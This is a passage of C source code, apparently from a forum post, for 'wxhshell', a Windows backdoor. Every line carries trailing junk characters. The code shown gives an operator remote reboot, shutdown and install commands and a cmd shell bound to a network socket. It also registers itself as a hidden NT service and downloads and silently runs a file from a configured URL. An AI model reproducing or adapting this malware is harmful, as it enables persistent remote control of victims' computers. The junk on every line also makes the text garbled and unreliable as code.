  // 帮助 78~V/L;@S2  
  case '?': { 'p+QFT>Ca  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;p!hd }C  
    break; :BxYaAVt^  
  } &0Zk3D4  
  // 安装 ^K8a#-  
  case 'i': { |8{iIvi/  
    if(Install()) FH(+7Lz4;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~EkGG .  
    else 9+Bq00-Z$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Prx s2 i 8  
    break; kR?n%`&k  
    } C\@YH]  
  // 卸载 sZBO_](S  
  case 'r': { g}r5ohqC#  
    if(Uninstall()) 3^yWpSC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mf13@XEo  
    else K2`WcEe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <U`Nb) &  
    break; tS|zf,7  
    } * t9qH  
  // 显示 wxhshell 所在路径 vm}.gQ  
  case 'p': { 1V$B^/_  
    char svExeFile[MAX_PATH]; -"9)c^KVx  
    strcpy(svExeFile,"\n\r"); zGz'2, o3  
      strcat(svExeFile,ExeFile); xm, yqM!0A  
        send(wsh,svExeFile,strlen(svExeFile),0); :?6$}GcW  
    break; v+o3r]Y6  
    } bJ!f,a'/  
  // 重启 W%Q>< 'c  
  case 'b': { >Nl~"J|]q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >M85xjXP  
    if(Boot(REBOOT)) &-Er n/[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eG>Fn6G<g  
    else { 2czL 1Ci  
    closesocket(wsh); abP?Dj&  
    ExitThread(0); N ] /d  
    } 3"D00~  
    break; x+`3G.  
    } &`2*6 )qa  
  // 关机 [;8fL  
  case 'd': { Xb 1^Oj  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;K-t  
    if(Boot(SHUTDOWN)) :S6 <v0`Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vJ}  
    else { 2DdLqZY#  
    closesocket(wsh); Cms"OkN  
    ExitThread(0); 8^i,M^f^{  
    } S9055`v5  
    break; 5j5t?G;d,  
    } ^q r[?ky]&  
  // 获取shell tO3B_zC  
  case 's': { "z4E|s  
    CmdShell(wsh); Q_Sq  uuk  
    closesocket(wsh); UpBYL?+L  
    ExitThread(0); RVy87_J1  
    break; >&Lu0oHH  
  } iPNs EQ0We  
  // 退出 k rjd:*E  
  case 'x': { baGI(Dk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '-TFrNO;h  
    CloseIt(wsh); NH6!|T  
    break; u)>*U'bM  
    } rn*VL(Yd(  
  // 离开 <WkLwP3^  
  case 'q': { 4yy yXj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :\We =oX  
    closesocket(wsh); S@-X?Lu  
    WSACleanup(); YP97D n  
    exit(1); ]HT>-Ba;{h  
    break; .gg0:  
        } * OFT)S  
  } [/]3:|  
  } wj~8KHan  
f 2f $aZ  
  // 提示信息 jZ yh   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z6pDQ^Ii  
}  /t P  
  } 36UW oo  
Yb/^Qk59  
  return; ^>uGbhBp  
} ^T>.04";x  
CcE TS}Q0C  
// shell模块句柄 Pfy;/}u^c  
int CmdShell(SOCKET sock) <!$Cvx\U  
{ wt,N<L  
STARTUPINFO si; rMloj8O*  
ZeroMemory(&si,sizeof(si)); CKgyv%T5m:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wu'60po  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ).b+S>k  
PROCESS_INFORMATION ProcessInfo; ZH :X 4!  
char cmdline[]="cmd"; UQr+\ u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I !~Omr@P  
  return 0; 6h8NrjX  
} a)b@en;v  
mAKi%)  
// 自身启动模式 A(5? ci  
int StartFromService(void) qpCi61lTDJ  
{ JOk`emle  
typedef struct U {v_0\ES  
{ Gu=bPQOj  
  DWORD ExitStatus; {'[1I_3  
  DWORD PebBaseAddress; S_=uv)%a  
  DWORD AffinityMask; '(*D3ysU  
  DWORD BasePriority; a[De  
  ULONG UniqueProcessId; YSmz)YfX9  
  ULONG InheritedFromUniqueProcessId; ](pD<FfS]'  
}   PROCESS_BASIC_INFORMATION; -n-X/M  
B[h9epU]K  
PROCNTQSIP NtQueryInformationProcess; E>v~B;@  
E"!*ASN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $!lxVZ>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &*~ WK  
"zc!QHpSd  
  HANDLE             hProcess; Rwk|cqr  
  PROCESS_BASIC_INFORMATION pbi; {D8 IA3w  
CPG %*E*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g?wogCs5  
  if(NULL == hInst ) return 0;  _>l,%n  
A 78{b^0*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zvWQ&?&o2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 38^_(N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SQK6BEjE8  
llJ)u!=5  
  if (!NtQueryInformationProcess) return 0; 0Jrk(k!  
TB\CSXb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .X9^A,9  
  if(!hProcess) return 0; !j@ 8:j0WY  
q\<vCKI-^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oY: "nE  
;MD{p1w  
  CloseHandle(hProcess); 3 -FNd~%  
^4:= b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); usi p>y  
if(hProcess==NULL) return 0; Ws(>} qjy  
R_ }(p2  
HMODULE hMod; @ ri. r1  
char procName[255]; czzV2P/t}  
unsigned long cbNeeded; ] $*cmk(Y  
&0`L;1R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q ^?{6}sy  
ub%q<sE*  
  CloseHandle(hProcess); &r_B\j3  
K||85l?<  
if(strstr(procName,"services")) return 1; // 以服务启动 _ev^5`>p/  
I/l]Yv!  
  return 0; // 注册表启动 Z8W<RiR  
} )_ uK(UNZ5  
~jaGf  
// 主模块 y;H 3g#  
int StartWxhshell(LPSTR lpCmdLine) d8>D=Ve  
{ rv%Xvs B  
  SOCKET wsl; xXtDGP  
BOOL val=TRUE; JC-L80-  
  int port=0; lbY>R@5  
  struct sockaddr_in door; V SxLBwXf  
)yk LUse+  
  if(wscfg.ws_autoins) Install(); Sn]A0J_  
P\R3/g  
port=atoi(lpCmdLine); tg:x}n  
V/Tp&+Z.c  
if(port<=0) port=wscfg.ws_port; WJ@,f%=<~  
`i-&Z`  
  WSADATA data; ]iPdAwc.1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %rsW:nl  
uIu0"pv`x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @`{UiTN X`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -3Ffk:  
  door.sin_family = AF_INET; 7iJl W&W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Kh>^;`h  
  door.sin_port = htons(port); S=Zjdbd  
O_033&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V2*b f`/V  
closesocket(wsl); bm^ou#]|  
return 1; 8LL);"$  
} wR KGJ  
+W}f0@#)<  
  if(listen(wsl,2) == INVALID_SOCKET) { l\eq/yg_  
closesocket(wsl); f%af.cR*  
return 1; rRMC< .=  
} vDemY"wz  
  Wxhshell(wsl); S=o/n4@}  
  WSACleanup(); E5rNC/Ul$$  
pD{Li\LY  
return 0; 1+]e?  
B:l(`G  
} Uhf -}Jdw  
c{[d@jt O  
// 以NT服务方式启动 pq@ad\8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) opBv x>S  
{ +VJl#sc/;  
DWORD   status = 0; qdOS=7]W  
  DWORD   specificError = 0xfffffff; W[YtNL;  
czj[U|eB}=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4):\,>%pK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tY7u\Y;^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 49CMRO,T  
  serviceStatus.dwWin32ExitCode     = 0; sx9 N8T3n  
  serviceStatus.dwServiceSpecificExitCode = 0; jN[Z mJz'  
  serviceStatus.dwCheckPoint       = 0; nQ mkDPjU  
  serviceStatus.dwWaitHint       = 0; *I~F7Z]|  
e= '3gzz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a*=e 3nS  
  if (hServiceStatusHandle==0) return; d;>:<{z@CD  
#2pgh?  
status = GetLastError(); sbRg=k&Ns  
  if (status!=NO_ERROR) = zsXa=<  
{ Ws=J)2q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  Z/64E^  
    serviceStatus.dwCheckPoint       = 0; (T@ov~ @  
    serviceStatus.dwWaitHint       = 0; te1lUQ  
    serviceStatus.dwWin32ExitCode     = status; k&Sg`'LG8  
    serviceStatus.dwServiceSpecificExitCode = specificError; Dv$xP)./  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .EI/0"^  
    return; J%nJO3,  
  } X/@Gx 4  
pgI@[zp7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <#c2Hg%jh  
  serviceStatus.dwCheckPoint       = 0; S"lcePN  
  serviceStatus.dwWaitHint       = 0; f6DPah#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ioZ2J"s  
} 1 @/+ c  
bo]k9FC  
// 处理NT服务事件,比如:启动、停止 X[VQ 1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4kx#=MLt  
{ 1j}o. 0\  
switch(fdwControl) <Wl! Qog'  
{ k(s3~S2h  
case SERVICE_CONTROL_STOP: xa K:@/  
  serviceStatus.dwWin32ExitCode = 0; sR5dC_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /6>2,S8Ar  
  serviceStatus.dwCheckPoint   = 0; pPh$Jvo]  
  serviceStatus.dwWaitHint     = 0; KxY|:-"Tt  
  { `P'{HT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  ?9AByg  
  } Y#uf 2>J  
  return; \"n&|_SZ\  
case SERVICE_CONTROL_PAUSE: ^E5Xpza  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k%hif8y  
  break; /H\ZCIu/7  
case SERVICE_CONTROL_CONTINUE: m(9E{;   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0^hz1\g  
  break; ?Hq`*I?b9  
case SERVICE_CONTROL_INTERROGATE: 3B>!9:w~f  
  break; 6MZfoR  
}; vq x;FAqZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Uq"RyvkpP  
} B [03,zVf  
w2 CgEJ %  
// 标准应用程序主函数 K 5!k06;s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o8bV z2E  
{ wZ29/{,  
HgbJsv$  
// 获取操作系统版本 t0?\5q  
OsIsNt=GetOsVer(); .NZ_dz$c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W(EU*~<UC  
<>p\9rVp*^  
  // 从命令行安装 (xq25;|Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); YckexfL  
d!,V"*S  
  // 下载执行文件 l'c|I &Y]  
if(wscfg.ws_downexe) { V<+d o|@F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ([s2F%S`@  
  WinExec(wscfg.ws_filenam,SW_HIDE); $lUZm\R|k  
} ,VbP$1t  
,~c:P>v=  
if(!OsIsNt) { D_'Zucq  
// 如果时win9x,隐藏进程并且设置为注册表启动 B>gC75  
HideProc(); ^lbOv}C*  
StartWxhshell(lpCmdLine); \\BblzGMR  
} Yr"G)i~"Y  
else {n{ j*+  
  if(StartFromService()) Lk`0z  
  // 以服务方式启动 M7UVL&_z%  
  StartServiceCtrlDispatcher(DispatchTable); P oC*>R8  
else =TU"B-*  
  // 普通方式启动 GN(PH/fO9  
  StartWxhshell(lpCmdLine); )R,*>-OPJL  
s}UPe)Vu  
return 0; 2g|+*.*`  
}
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只看该作者 1 发表于: 2006-10-10
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